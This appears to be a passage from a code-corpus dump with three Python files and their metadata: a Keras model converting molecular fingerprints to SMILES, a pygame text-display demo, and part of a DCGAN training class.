metrics=['accuracy'\n # metrics.binary_accuracy,\n # metrics.categorical_accuracy\n ]\n )\n\n self.Dis_S.summary()\n self.AE_combined.summary()\n self.AE_combined.save('./model_save/universal.h5')\n # self.save_generator()\n\n @staticmethod\n def load_maccs_data():\n a = pd.read_csv('./DataPool/maccsdata.csv', header=None).values\n return a\n\n @staticmethod\n def load_smile_data():\n b = pd.read_csv('./DataPool/smile.csv', header=None).values\n return b\n\n @staticmethod\n def load_smile_data_3d():\n smile_d = pd.read_csv('./DataPool/smile.csv', header=None).values\n target_texts = smile_d[:, :50]\n decoder_input_data = np.zeros((1303, 50, 161), dtype='float32')\n for i in range(1303):\n for k in range(50):\n decoder_input_data[i, k, int(target_texts[i, k])] = 1.\n return decoder_input_data\n\n def build_E_M2X(self):\n encoder_inputs = Input(batch_shape=self.maccs_shape)\n d0 = Dense(200, activation='relu')(encoder_inputs)\n output = Dense(200, activation='relu')(d0)\n return Model(encoder_inputs, output, name='E_M2X')\n\n def build_X_M_noise(self, latent_dim=200, epsilon_std=3.0):\n # noise part\n encoder_h = Input(batch_shape=self.x_shape)\n r0 = Reshape((200,))(encoder_h)\n # mean vector\n z_mean = Dense(latent_dim, activation='relu')(r0)\n # standard deviation vector\n z_log_var = Dense(latent_dim, activation='relu')(r0)\n\n def sampling(args):\n # Reparameterization trick\n z_mean, z_log_var = args\n # get epsilon from standard normal distribution\n epsilon = K.random_normal(shape=(K.shape(z_mean)[0], latent_dim), mean=0., stddev=epsilon_std)\n return z_mean + K.exp(z_log_var / 2) * epsilon\n\n # latent vector z\n z = Lambda(sampling, output_shape=(None, latent_dim))([z_mean, z_log_var])\n return Model(encoder_h, z, name='X_M_noise')\n\n def build_D_X2S(self):\n # z = X_M+noise = X_S\n z = Input(batch_shape=self.x_shape)\n z1 = Reshape((50, 4))(z)\n z1 = Dense(50, activation='relu')(z1)\n z1 = LSTM(161, return_sequences=True, return_state=False, activation='tanh')(z1)\n output = Dense(161, activation='softmax', name='output')(z1)\n return Model(z, output, name='D_X2S')\n\n def build_E_S2X(self):\n input_shape = Input(batch_shape=self.smile_shape)\n embedding_layer = Embedding(input_dim=160, input_length=50, output_dim=50, mask_zero=True)(input_shape) # mask zero= true\n d0 = Flatten()(embedding_layer)\n output = Dense(units=200, activation='relu', name='E_S2X')(d0)\n return Model(input_shape, output, name='E_S2X')\n\n def build_D_X2M(self):\n # z = X_M = X_S\n z = Input(batch_shape=self.x_shape)\n z1 = Reshape((200, -1))(z)\n L0 = LSTM(1000, return_sequences=False, return_state=False, activation='tanh')(z1)\n output = Dense(units=166, activation='hard_sigmoid', name='D_X2M')(L0)\n return Model(z, output, name='D_X2M')\n\n def build_Dis_S(self):\n d0 = Input(batch_shape=(None, 50, 161))\n d3 = Dense(128, activation='relu')(d0)\n d4 = Dense(64, activation='relu')(d3)\n d4 = Flatten()(d4)\n output = Dense(1, activation='hard_sigmoid', name='Dis_0_1_layer')(d4)\n return Model(d0, output, name='Dis_S')\n\n def build_X_error(self):\n x = Input(batch_shape=self.x_shape, name='x_input')\n x_ = Input(batch_shape=self.x_shape, name='x__input')\n output = Lambda(lambda e: K.square(e[0] - e[1]))([x, x_])\n return Model([x, x_], output, name='x_error')\n\n def data_loader(self, batch_size):\n dataA = self.load_maccs_data()\n dataB = self.load_smile_data()\n dataC = self.load_smile_data_3d()\n self.n_batch = int(min(len(dataA), len(dataB)) / batch_size) # self.n_batch=20 = 1303 / 64\n total_samples = self.n_batch * batch_size\n for i in range(self.n_batch):\n batchA = dataA[i * batch_size:(i + 1) * batch_size, :]\n batchB = dataB[i * batch_size:(i + 1) * batch_size, :]\n batchC = dataC[i * batch_size:(i + 1) * batch_size, :]\n yield batchA, batchB, batchC\n\n# this part don't work\n @staticmethod\n def check_fake_smile(gen_smile):\n smiles = pd.read_csv('./DataPool/smile.csv', header=None).values\n for i in range(len(smiles)):\n if gen_smile == smiles[i]:\n return None\n else:\n return gen_smile\n\n\n def train(self, epochs, batch_size=1):\n valid = np.ones((batch_size,))\n fake = np.zeros((batch_size,))\n\n # Train the generators\n for epoch in range(epochs):\n self.R = epoch\n self.T = epochs\n for batch_i, (self.maccs_data, self.smile_data, self.smile_data_3d) in enumerate(\n self.data_loader(batch_size=batch_size)):\n # ----------------------\n # Train Discriminators\n # ----------------------\n\n # discriminator training part\n fake_smile = self.check_fake_smile(self.D_X2S.predict(self.E_M2X.predict(self.maccs_data)))\n d_loss_real = self.Dis_S.train_on_batch(self.smile_data_3d, valid) # valid 1\n d_loss_fake = self.Dis_S.train_on_batch(fake_smile, fake) # fake 0\n d_loss = 0.5 * np.add(d_loss_real, d_loss_fake)\n\n maccs_train, maccs_test, smile_train, smile_test, smile_train_3d, smile_test_3d = train_test_split \\\n (self.maccs_data, self.smile_data, self.smile_data_3d, test_size=0.2, random_state=33)\n\n # ------------------\n # Train Generators\n # ------------------\n\n # generator training part\n ''' self.AE_combined = Model(inputs=[Maccs, Smile],\n outputs=[reconstr_S, generate_M,\n reconstr_M, discrmin_S,\n X_error])'''\n g_loss = self.AE_combined.train_on_batch([maccs_train, smile_train],\n [smile_train_3d,\n maccs_train,\n maccs_train,\n np.ones((len(maccs_train), 1), dtype='float32'),\n np.zeros((len(maccs_train), 200), dtype='float32')])\n\n print(\n \"[Epoch %d/%d] [Batch %d/%d] \"\n \"[D loss: %f, acc: %3d%%,%3d%%,%3d%% ] \"\n \"[G loss: %05f, \"\n \"rec_S: %05f,%05f, \"\n \"gen_M: %05f,%05f, \"\n \"rec_M: %05f,%05f, \"\n \"dis_S: %05f,%05f, \"\n \"X_error: %05f, ]\"\n \\\n % (epoch + 1, epochs, batch_i + 1, self.n_batch,\n d_loss[0], 100 * d_loss[1], 100 * d_loss_real[1], 100 * d_loss_fake[1],\n g_loss[0],\n g_loss[1], g_loss[6], # categorical\n g_loss[2], g_loss[7], # binary\n g_loss[3], g_loss[8], # binary\n g_loss[4], g_loss[9], # binary\n g_loss[5], # loss\n ))\n\n # Save models\n self.save_models()\n\n def save_models(self):\n os.makedirs('h5/G/G_%sin%s' % (self.R, self.T), exist_ok=True)\n self.AE_combined.save('./h5/G/G_%sin%s/g_%sin%s.h5' % (self.R, self.T, self.R, self.T))\n\n def load_model(self):\n\n self.AE_combined = load_model('./h5/G/G_%s%s/g_%s%s.h5' % (self.R, self.T, self.R, self.T))\n\n def M2S_test(self):\n return 0\n\n def M2M_test(self):\n return 0\n\n def S2M_test(self):\n return 0\n\n def S2S_test(self):\n return 0\n\n def X_error_test(self):\n return 0\n\n\n# 如果在其他的py檔想執行universal 那以下單元測試也會被執行 可以把if判斷改成false就不會執行(how?)\nif __name__ == '__main__':\n uni = Universal() # load data build model\n uni.train(epochs=300, batch_size=64)\n # uni.S2M_test()\n # uni.S2S_test()\n\n", "sub_path": "M2S_S2S_VAE/universal_6.py", "file_name": "universal_6.py", "file_ext": "py", "file_size_in_byte": 12604, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "tensorflow.GPUOptions", "line_number": 28, "usage_type": "call"}, {"api_name": "tensorflow.Session", "line_number": 29, "usage_type": "call"}, {"api_name": "tensorflow.ConfigProto", "line_number": 29, "usage_type": "call"}, {"api_name": "keras.optimizers.Adam", "line_number": 45, "usage_type": "call"}, {"api_name": "keras.layers.Input", "line_number": 66, "usage_type": "call"}, {"api_name": "keras.layers.Input", "line_number": 67, "usage_type": "call"}, {"api_name": "keras.models.Model", "line_number": 88, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 114, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 119, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 124, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 126, "usage_type": "call"}, {"api_name": "keras.layers.Input", "line_number": 133, "usage_type": "call"}, {"api_name": "keras.layers.Dense", "line_number": 134, "usage_type": "call"}, {"api_name": "keras.layers.Dense", "line_number": 135, "usage_type": "call"}, {"api_name": "keras.models.Model", "line_number": 136, "usage_type": "call"}, {"api_name": "keras.layers.Input", "line_number": 140, "usage_type": "call"}, {"api_name": "keras.layers.Reshape", "line_number": 141, "usage_type": "call"}, {"api_name": "keras.layers.Dense", "line_number": 143, "usage_type": "call"}, {"api_name": "keras.layers.Dense", "line_number": 145, "usage_type": "call"}, {"api_name": "keras.backend.random_normal", "line_number": 151, "usage_type": "call"}, {"api_name": "keras.backend", "line_number": 151, "usage_type": "name"}, {"api_name": "keras.backend.shape", "line_number": 151, "usage_type": "call"}, {"api_name": "keras.backend.exp", "line_number": 152, "usage_type": "call"}, {"api_name": "keras.backend", "line_number": 152, "usage_type": "name"}, {"api_name": "keras.layers.Lambda", "line_number": 155, "usage_type": "call"}, {"api_name": "keras.models.Model", "line_number": 156, "usage_type": "call"}, {"api_name": "keras.layers.Input", "line_number": 160, "usage_type": "call"}, {"api_name": "keras.layers.Reshape", "line_number": 161, "usage_type": "call"}, {"api_name": "keras.layers.Dense", "line_number": 162, "usage_type": "call"}, {"api_name": "keras.layers.LSTM", "line_number": 163, "usage_type": "call"}, {"api_name": "keras.layers.Dense", "line_number": 164, "usage_type": "call"}, {"api_name": "keras.models.Model", "line_number": 165, "usage_type": "call"}, {"api_name": "keras.layers.Input", "line_number": 168, "usage_type": "call"}, {"api_name": "keras.layers.Embedding", "line_number": 169, "usage_type": "call"}, {"api_name": "keras.layers.Flatten", "line_number": 170, "usage_type": "call"}, {"api_name": "keras.layers.Dense", "line_number": 171, "usage_type": "call"}, {"api_name": "keras.models.Model", "line_number": 172, "usage_type": "call"}, {"api_name": "keras.layers.Input", "line_number": 176, "usage_type": "call"}, {"api_name": "keras.layers.Reshape", "line_number": 177, "usage_type": "call"}, {"api_name": "keras.layers.LSTM", "line_number": 178, "usage_type": "call"}, {"api_name": "keras.layers.Dense", "line_number": 179, "usage_type": "call"}, {"api_name": "keras.models.Model", "line_number": 180, "usage_type": "call"}, {"api_name": "keras.layers.Input", "line_number": 183, "usage_type": "call"}, {"api_name": "keras.layers.Dense", "line_number": 184, "usage_type": "call"}, {"api_name": "keras.layers.Dense", "line_number": 185, "usage_type": "call"}, {"api_name": "keras.layers.Flatten", "line_number": 186, "usage_type": "call"}, {"api_name": "keras.layers.Dense", "line_number": 187, "usage_type": "call"}, {"api_name": "keras.models.Model", "line_number": 188, "usage_type": "call"}, {"api_name": "keras.layers.Input", "line_number": 191, "usage_type": "call"}, {"api_name": "keras.layers.Input", "line_number": 192, "usage_type": "call"}, {"api_name": "keras.layers.Lambda", "line_number": 193, "usage_type": "call"}, {"api_name": "keras.backend.square", "line_number": 193, "usage_type": "call"}, {"api_name": "keras.backend", "line_number": 193, "usage_type": "name"}, {"api_name": "keras.models.Model", "line_number": 194, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 211, "usage_type": "call"}, {"api_name": "numpy.ones", "line_number": 220, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 221, "usage_type": "call"}, {"api_name": "numpy.add", "line_number": 237, "usage_type": "call"}, {"api_name": "sklearn.model_selection.train_test_split", "line_number": 239, "usage_type": "call"}, {"api_name": "numpy.ones", "line_number": 255, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 256, "usage_type": "call"}, {"api_name": "os.makedirs", "line_number": 282, "usage_type": "call"}, {"api_name": "keras.models.load_model", "line_number": 287, "usage_type": "call"}]} {"seq_id": "414179800", "text": "# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Tue May 11 18:13:50 2021\r\n\r\n@author: modak_ng8awn0\r\n\"\"\"\r\n\r\n\r\n \r\n\"\"\"How to Display Text on Screen \"\"\"\r\n\r\n\"\"\" Import Lib\"\"\"\r\nimport pygame\r\n\r\n\r\n\"\"\" Initialize Pygame\"\"\"\r\npygame.init()\r\n\r\n\r\n\"\"\" Set the Dimension of the Screen\"\"\"\r\nWidth = 1000\r\nHeight = 560\r\n\r\n\"\"\" Set the Screen\"\"\"\r\n\r\nscreen = pygame.display.set_mode((Width,Height))\r\n\r\n\"\"\" Set The Title of Screen\"\"\"\r\n\r\npygame.display.set_caption(\"Display Text\")\r\n\r\n\"\"\" Load the Image\"\"\"\r\nscreenImg = pygame.image.load(\"Images/Background.png\")\r\n\r\n\"\"\" Display Image at Specific Co-Ordinate\"\"\"\r\n\r\nscreen.blit(screenImg,(0,0))\r\n\r\n\r\n\r\n\"\"\"To Dispaly Text\"\"\"\r\n\r\nfont = pygame.font.SysFont(\"Eras Bold ITC\",50)\r\ntext=font.render(\"My First Text\",True,(255,0,0),(255,255,0))\r\nscreen.blit(text,(100,200))\r\n\r\n\r\n\"\"\" Update the Display Continuously\"\"\"\r\n\r\n\r\nEventStatus=\"None\"\r\n\r\n\r\nwhile True:\r\n \r\n pygame.display.update()\r\n \r\n \r\n for event in pygame.event.get():\r\n if event.type == pygame.QUIT:\r\n pygame.quit()\r\n EventStatus=\"Quit\"\r\n break\r\n \r\n \r\n if EventStatus == \"Quit\":\r\n break\r\n \r\nprint(\"Closing\")\r\n ", "sub_path": "pygame display update.py", "file_name": "pygame display update.py", "file_ext": "py", "file_size_in_byte": 1175, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "pygame.init", "line_number": 17, "usage_type": "call"}, {"api_name": "pygame.display.set_mode", "line_number": 26, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 26, "usage_type": "attribute"}, {"api_name": "pygame.display.set_caption", "line_number": 30, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 30, "usage_type": "attribute"}, {"api_name": "pygame.image.load", "line_number": 33, "usage_type": "call"}, {"api_name": "pygame.image", "line_number": 33, "usage_type": "attribute"}, {"api_name": "pygame.font.SysFont", "line_number": 43, "usage_type": "call"}, {"api_name": "pygame.font", "line_number": 43, "usage_type": "attribute"}, {"api_name": "pygame.display.update", "line_number": 56, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 56, "usage_type": "attribute"}, {"api_name": "pygame.event.get", "line_number": 59, "usage_type": "call"}, {"api_name": "pygame.event", "line_number": 59, "usage_type": "attribute"}, {"api_name": "pygame.QUIT", "line_number": 60, "usage_type": "attribute"}, {"api_name": "pygame.quit", "line_number": 61, "usage_type": "call"}]} {"seq_id": "327565626", "text": "import os\nimport numpy as np\nfrom keras.optimizers import Adam, Optimizer\nfrom keras.models import Model\nfrom keras.layers import Input, Dense\nfrom keras.initializers import RandomNormal\nfrom keras.utils import plot_model\nfrom keras.engine.network import Network\nimport keras.backend as K\nfrom PIL import Image\nfrom cv2 import cv2 as cv\nimport random\nimport time\nfrom colorama import Fore\nfrom collections import deque\nfrom typing import Union\nimport json\nfrom statistics import mean\nimport imagesize\nfrom multiprocessing.pool import ThreadPool\n\nfrom ..utils.batch_maker import BatchMaker\nfrom ..models import discriminator_models_spreadsheet, generator_models_spreadsheet\nfrom ..keras_extensions.custom_tensorboard import TensorBoardCustom\nfrom ..utils.helpers import time_to_format, get_paths_of_files_from_path\n\nclass DCGAN:\n CONTROL_THRESHOLD = 100_000 # Threshold when after whitch we will be testing training process\n AGREGATE_STAT_INTERVAL = 1_000 # Interval of saving data\n GRADIENT_CHECK_INTERVAL = 10_000 # Interval of checking norm gradient value of combined model\n CHECKPOINT_SAVE_INTERVAL = 1_000 # Interval of saving checkpoint\n\n def __init__(self, dataset_path:str,\n gen_mod_name: str, disc_mod_name: str,\n latent_dim:int,\n training_progress_save_path:str,\n testing_dataset_path:str=None,\n generator_optimizer:Optimizer=Adam(0.0002, 0.5), discriminator_optimizer:Optimizer=Adam(0.0002, 0.5),\n discriminator_label_noise:float=None, discriminator_label_noise_decay:float=None, discriminator_label_noise_min:float=0.001,\n batch_size: int = 32, buffered_batches:int=20,\n generator_weights:Union[str, None]=None, discriminator_weights:Union[str, None]=None,\n start_episode:int=0, load_from_checkpoint:bool=False,\n check_dataset:bool=True, num_of_loading_workers:int=8):\n\n self.disc_mod_name = disc_mod_name\n self.gen_mod_name = gen_mod_name\n self.generator_optimizer = generator_optimizer\n\n self.latent_dim = latent_dim\n assert self.latent_dim > 0, Fore.RED + \"Invalid latent dim\" + Fore.RESET\n\n self.batch_size = batch_size\n assert self.batch_size > 0, Fore.RED + \"Invalid batch size\" + Fore.RESET\n\n self.discriminator_label_noise = discriminator_label_noise\n self.discriminator_label_noise_decay = discriminator_label_noise_decay\n self.discriminator_label_noise_min = discriminator_label_noise_min\n\n self.progress_image_dim = (16, 9)\n\n if start_episode < 0: start_episode = 0\n self.episode_counter = start_episode\n\n # Initialize training data folder and logging\n self.training_progress_save_path = training_progress_save_path\n self.training_progress_save_path = os.path.join(self.training_progress_save_path, f\"{self.gen_mod_name}__{self.disc_mod_name}\")\n self.tensorboard = TensorBoardCustom(log_dir=os.path.join(self.training_progress_save_path, \"logs\"))\n\n # Create array of input image paths\n self.train_data = get_paths_of_files_from_path(dataset_path, only_files=True)\n assert self.train_data, Fore.RED + \"Training dataset is not loaded\" + Fore.RESET\n\n self.testing_data = None\n if testing_dataset_path:\n self.testing_data = get_paths_of_files_from_path(testing_dataset_path)\n assert self.testing_data, Fore.RED + \"Testing dataset is not loaded\" + Fore.RESET\n\n # Load one image to get shape of it\n tmp_image = cv.imread(self.train_data[0])\n self.image_shape = tmp_image.shape\n self.image_channels = self.image_shape[2]\n\n # Check image size validity\n if self.image_shape[0] < 4 or self.image_shape[1] < 4: raise Exception(\"Images too small, min size (4, 4)\")\n\n # Check validity of whole datasets\n if check_dataset:\n self.validate_dataset()\n\n # Define static vars\n if os.path.exists(f\"{self.training_progress_save_path}/static_noise.npy\"):\n self.static_noise = np.load(f\"{self.training_progress_save_path}/static_noise.npy\")\n if self.static_noise.shape[0] != (self.progress_image_dim[0] * self.progress_image_dim[1]):\n print(Fore.YELLOW + \"Progress image dim changed, restarting static noise!\" + Fore.RESET)\n os.remove(f\"{self.training_progress_save_path}/static_noise.npy\")\n self.static_noise = np.random.normal(0.0, 1.0, size=(self.progress_image_dim[0] * self.progress_image_dim[1], self.latent_dim))\n else:\n self.static_noise = np.random.normal(0.0, 1.0, size=(self.progress_image_dim[0] * self.progress_image_dim[1], self.latent_dim))\n self.kernel_initializer = RandomNormal(stddev=0.02)\n\n # Load checkpoint\n self.initiated = False\n loaded_gen_weights_path = None\n loaded_disc_weights_path = None\n if load_from_checkpoint:\n loaded_gen_weights_path, loaded_disc_weights_path = self.load_checkpoint()\n\n # Create batchmaker and start it\n self.batch_maker = BatchMaker(self.train_data, self.batch_size, buffered_batches=buffered_batches, num_of_loading_workers=num_of_loading_workers)\n\n self.testing_batchmaker = None\n if self.testing_data:\n self.testing_batchmaker = BatchMaker(self.testing_data, self.batch_size, buffered_batches=buffered_batches, num_of_loading_workers=num_of_loading_workers)\n self.testing_batchmaker.start()\n\n #################################\n ### Create discriminator ###\n #################################\n self.discriminator = self.build_discriminator(disc_mod_name)\n self.discriminator.compile(loss=\"binary_crossentropy\", optimizer=discriminator_optimizer)\n\n #################################\n ### Create generator ###\n #################################\n self.generator = self.build_generator(gen_mod_name)\n if self.generator.output_shape[1:] != self.image_shape: raise Exception(\"Invalid image input size for this generator model\")\n\n #################################\n ### Create combined generator ###\n #################################\n noise_input = Input(shape=(self.latent_dim,), name=\"noise_input\")\n gen_images = self.generator(noise_input)\n\n # Create frozen version of discriminator\n frozen_discriminator = Network(self.discriminator.inputs, self.discriminator.outputs, name=\"frozen_discriminator\")\n frozen_discriminator.trainable = False\n\n # Discriminator takes images and determinates validity\n valid = frozen_discriminator(gen_images)\n\n # Combine models\n # Train generator to fool discriminator\n self.combined_generator_model = Model(noise_input, valid, name=\"dcgan_model\")\n self.combined_generator_model.compile(loss=\"binary_crossentropy\", optimizer=self.generator_optimizer)\n\n # Print all summaries\n print(\"\\nDiscriminator Summary:\")\n self.discriminator.summary()\n print(\"\\nGenerator Summary:\")\n self.generator.summary()\n print(\"\\nGAN Summary\")\n self.combined_generator_model.summary()\n\n # Load weights from checkpoint\n try:\n if loaded_gen_weights_path: self.generator.load_weights(loaded_gen_weights_path)\n except:\n print(Fore.YELLOW + \"Failed to load generator weights from checkpoint\" + Fore.RESET)\n\n try:\n if loaded_disc_weights_path: self.discriminator.load_weights(loaded_disc_weights_path)\n except:\n print(Fore.YELLOW + \"Failed to load discriminator weights from checkpoint\" + Fore.RESET)\n\n # Load weights from param and override checkpoint weights\n if generator_weights: self.generator.load_weights(generator_weights)\n if discriminator_weights: self.discriminator.load_weights(discriminator_weights)\n\n # Function for creating gradient generator\n def gradient_norm_generator(self):\n grads = K.gradients(self.combined_generator_model.total_loss, self.combined_generator_model.trainable_weights)\n summed_squares = [K.sum(K.square(g)) for g in grads]\n norm = K.sqrt(sum(summed_squares))\n inputs = self.combined_generator_model._feed_inputs + self.combined_generator_model._feed_targets + self.combined_generator_model._feed_sample_weights\n func = K.function(inputs, [norm])\n return func\n\n # Check if datasets have consistent shapes\n def validate_dataset(self):\n def check_image(image_path):\n im_shape = imagesize.get(image_path)\n if im_shape[0] != self.image_shape[0] or im_shape[1] != self.image_shape[1]:\n return False\n return True\n\n print(Fore.BLUE + \"Checking dataset validity\" + Fore.RESET)\n with ThreadPool(processes=8) as p:\n res = p.map(check_image, self.train_data)\n if not all(res): raise Exception(\"Inconsistent training dataset\")\n\n if self.testing_data:\n res = p.map(check_image, self.testing_data)\n if not all(res): raise Exception(\"Inconsistent testing dataset\")\n\n print(Fore.BLUE + \"Dataset valid\" + Fore.RESET)\n\n # Create generator based on template selected by name\n def build_generator(self, model_name:str):\n noise = Input(shape=(self.latent_dim,))\n\n try:\n m = getattr(generator_models_spreadsheet, model_name)(noise, self.image_shape, self.image_channels, self.kernel_initializer)\n except Exception as e:\n raise Exception(f\"Generator model not found!\\n{e}\")\n\n return Model(noise, m, name=\"generator_model\")\n\n # Create discriminator based on teplate selected by name\n def build_discriminator(self, model_name:str, classification:bool=True):\n img = Input(shape=self.image_shape)\n\n try:\n m = getattr(discriminator_models_spreadsheet, model_name)(img, self.kernel_initializer)\n except Exception as e:\n raise Exception(f\"Discriminator model not found!\\n{e}\")\n\n if classification:\n m = Dense(1, activation=\"sigmoid\")(m)\n\n return Model(img, m, name=\"discriminator_model\")\n\n def train(self, target_episode:int,\n feed_prev_gen_batch:bool=False, feed_old_perc_amount:float=0.2,\n progress_images_save_interval:int=None, save_raw_progress_images:bool=True, weights_save_interval:int=None,\n discriminator_smooth_real_labels:bool=False, discriminator_smooth_fake_labels:bool=False,\n generator_smooth_labels:bool=False):\n\n # Function for adding random noise to labels (flipping them)\n def noising_labels(labels: np.ndarray, noise_ammount:float=0.01):\n array = np.zeros(labels.shape)\n for idx in range(labels.shape[0]):\n if random.random() < noise_ammount:\n array[idx] = 1 - labels[idx]\n if array[idx] < 0: array[idx] = -array[idx]\n else:\n array[idx] = labels[idx]\n return labels\n\n # Function for replacing new generated images with old generated images\n def replace_random_images(orig_images: np.ndarray, repl_images: deque, perc_ammount:float=0.20):\n repl_images = np.array(repl_images)\n for idx in range(orig_images.shape[0]):\n if random.random() < perc_ammount:\n orig_images[idx] = repl_images[random.randint(0, repl_images.shape[0] - 1)]\n return orig_images\n\n # Check arguments and input data\n assert target_episode > 0, Fore.RED + \"Invalid number of epochs\" + Fore.RESET\n if progress_images_save_interval:\n assert progress_images_save_interval <= target_episode, Fore.RED + \"Invalid progress save interval\" + Fore.RESET\n if weights_save_interval:\n assert weights_save_interval <= target_episode, Fore.RED + \"Invalid weights save interval\" + Fore.RESET\n\n # Calculate epochs to go\n end_episode = target_episode\n target_episode = target_episode - self.episode_counter\n assert target_episode > 0, Fore.CYAN + \"Training is already finished\" + Fore.RESET\n\n # Save noise for progress consistency\n if progress_images_save_interval is not None:\n if not os.path.exists(self.training_progress_save_path): os.makedirs(self.training_progress_save_path)\n np.save(f\"{self.training_progress_save_path}/static_noise.npy\", self.static_noise)\n\n # Training variables\n prev_gen_images = deque(maxlen=3*self.batch_size)\n get_gradients = self.gradient_norm_generator()\n\n epochs_time_history = deque(maxlen=self.AGREGATE_STAT_INTERVAL * 50)\n\n # Save starting kernels and biases\n if not self.initiated:\n self.__save_imgs(save_raw_progress_images)\n self.tensorboard.log_kernels_and_biases(self.generator)\n self.save_checkpoint()\n\n print(Fore.GREEN + f\"Starting training on episode {self.episode_counter} for {target_episode} episodes\" + Fore.RESET)\n for _ in range(target_episode):\n ep_start = time.time()\n\n ### Train Discriminator ###\n # Select batch of valid images\n imgs = self.batch_maker.get_batch()\n\n # Sample noise and generate new images\n gen_imgs = self.generator.predict(np.random.normal(0.0, 1.0, (self.batch_size, self.latent_dim)))\n\n # Train discriminator (real as ones and fake as zeros)\n if discriminator_smooth_real_labels:\n disc_real_labels = np.random.uniform(0.8, 1.0, size=(self.batch_size, 1))\n else:\n disc_real_labels = np.ones(shape=(self.batch_size, 1))\n\n if discriminator_smooth_fake_labels:\n disc_fake_labels = np.random.uniform(0, 0.2, size=(self.batch_size, 1))\n else:\n disc_fake_labels = np.zeros(shape=(self.batch_size, 1))\n\n if feed_prev_gen_batch:\n if len(prev_gen_images) > 0:\n tmp_imgs = replace_random_images(gen_imgs, prev_gen_images, feed_old_perc_amount)\n prev_gen_images += deque(gen_imgs)\n gen_imgs = tmp_imgs\n else:\n prev_gen_images += deque(gen_imgs)\n\n # Adding random noise to discriminator labels\n if self.discriminator_label_noise and self.discriminator_label_noise > 0:\n disc_real_labels = noising_labels(disc_real_labels, self.discriminator_label_noise / 2)\n disc_fake_labels = noising_labels(disc_fake_labels, self.discriminator_label_noise / 2)\n\n self.discriminator.trainable = True\n disc_real_loss = self.discriminator.train_on_batch(imgs, disc_real_labels)\n disc_fake_loss = self.discriminator.train_on_batch(gen_imgs, disc_fake_labels)\n\n ### Train Generator ###\n # Train generator (wants discriminator to recognize fake images as valid)\n if generator_smooth_labels:\n gen_labels = np.random.uniform(0.8, 1.0, size=(self.batch_size, 1))\n else:\n gen_labels = np.ones(shape=(self.batch_size, 1))\n self.discriminator.trainable = False\n gan_loss = self.combined_generator_model.train_on_batch(np.random.normal(0.0, 1.0, (self.batch_size, self.latent_dim)), gen_labels)\n\n self.episode_counter += 1\n self.tensorboard.step = self.episode_counter\n self.tensorboard.update_stats(disc_real_loss=disc_real_loss, disc_fake_loss=disc_fake_loss, gan_loss=gan_loss, disc_label_noise=self.discriminator_label_noise if self.discriminator_label_noise else 0)\n\n # Decay label noise\n if self.discriminator_label_noise and self.discriminator_label_noise_decay:\n self.discriminator_label_noise = max([self.discriminator_label_noise_min, (self.discriminator_label_noise * self.discriminator_label_noise_decay)])\n\n if (self.discriminator_label_noise_min == 0) and (self.discriminator_label_noise != 0) and (self.discriminator_label_noise < 0.001):\n self.discriminator_label_noise = 0\n\n # Seve stats and print them to console\n if self.episode_counter % self.AGREGATE_STAT_INTERVAL == 0:\n self.tensorboard.log_kernels_and_biases(self.generator)\n\n # Change color of log according to state of training\n print(Fore.GREEN + f\"{self.episode_counter}/{end_episode}, Remaining: {time_to_format(mean(epochs_time_history) * (end_episode - self.episode_counter))}\\t\\t[D-R loss: {round(float(disc_real_loss), 5)}, D-F loss: {round(float(disc_fake_loss), 5)}] [G loss: {round(float(gan_loss), 5)}] - Epsilon: {round(self.discriminator_label_noise, 4) if self.discriminator_label_noise else 0}\" + Fore.RESET)\n\n # Save progress\n if self.training_progress_save_path is not None and progress_images_save_interval is not None and self.episode_counter % progress_images_save_interval == 0:\n self.__save_imgs(save_raw_progress_images)\n\n # Save weights of models\n if weights_save_interval is not None and self.episode_counter % weights_save_interval == 0:\n self.__save_weights()\n\n # Save checkpoint\n if self.episode_counter % self.CHECKPOINT_SAVE_INTERVAL == 0:\n self.save_checkpoint()\n print(Fore.BLUE + \"Checkpoint created\" + Fore.RESET)\n\n if self.episode_counter % self.GRADIENT_CHECK_INTERVAL == 0:\n # Generate evaluation noise and labels\n eval_noise = np.random.normal(0.0, 1.0, (self.batch_size, self.latent_dim))\n eval_labels = np.ones(shape=(self.batch_size, 1))\n\n # Create gradient function and evaluate based on eval noise and labels\n norm_gradient = get_gradients([eval_noise, eval_labels, np.ones(len(eval_labels))])[0]\n\n # Check norm gradient\n if norm_gradient > 100 and self.episode_counter > self.CONTROL_THRESHOLD:\n print(Fore.RED + f\"Current generator norm gradient: {norm_gradient}\")\n print(\"Gradient too high!\" + Fore.RESET)\n if input(\"Do you want exit training?\\n\") == \"y\": return\n elif norm_gradient < 0.2 and self.episode_counter > self.CONTROL_THRESHOLD:\n print(Fore.RED + f\"Current generator norm gradient: {norm_gradient}\")\n print(\"Gradient vanished!\" + Fore.RESET)\n if input(\"Do you want exit training?\\n\") == \"y\": return\n else:\n print(Fore.BLUE + f\"Current generator norm gradient: {norm_gradient}\" + Fore.RESET)\n\n # Change seed\n np.random.seed(None)\n random.seed()\n\n epochs_time_history.append(time.time() - ep_start)\n\n # Shutdown helper threads\n print(Fore.GREEN + \"Training Complete - Waiting for other threads to finish\" + Fore.RESET)\n if self.testing_batchmaker: self.testing_batchmaker.__terminate = True\n self.batch_maker.terminate()\n self.save_checkpoint()\n self.__save_weights()\n self.batch_maker.join()\n if self.testing_batchmaker: self.testing_batchmaker.join()\n print(Fore.GREEN + \"All threads finished\" + Fore.RESET)\n\n # Function for saving progress images\n def __save_imgs(self, save_raw_progress_images:bool=True):\n if not os.path.exists(self.training_progress_save_path + \"/progress_images\"): os.makedirs(self.training_progress_save_path + \"/progress_images\")\n gen_imgs = self.generator.predict(self.static_noise)\n\n # Rescale images 0 to 255\n gen_imgs = (0.5 * gen_imgs + 0.5) * 255\n\n final_image = np.zeros(shape=(self.image_shape[0] * self.progress_image_dim[1], 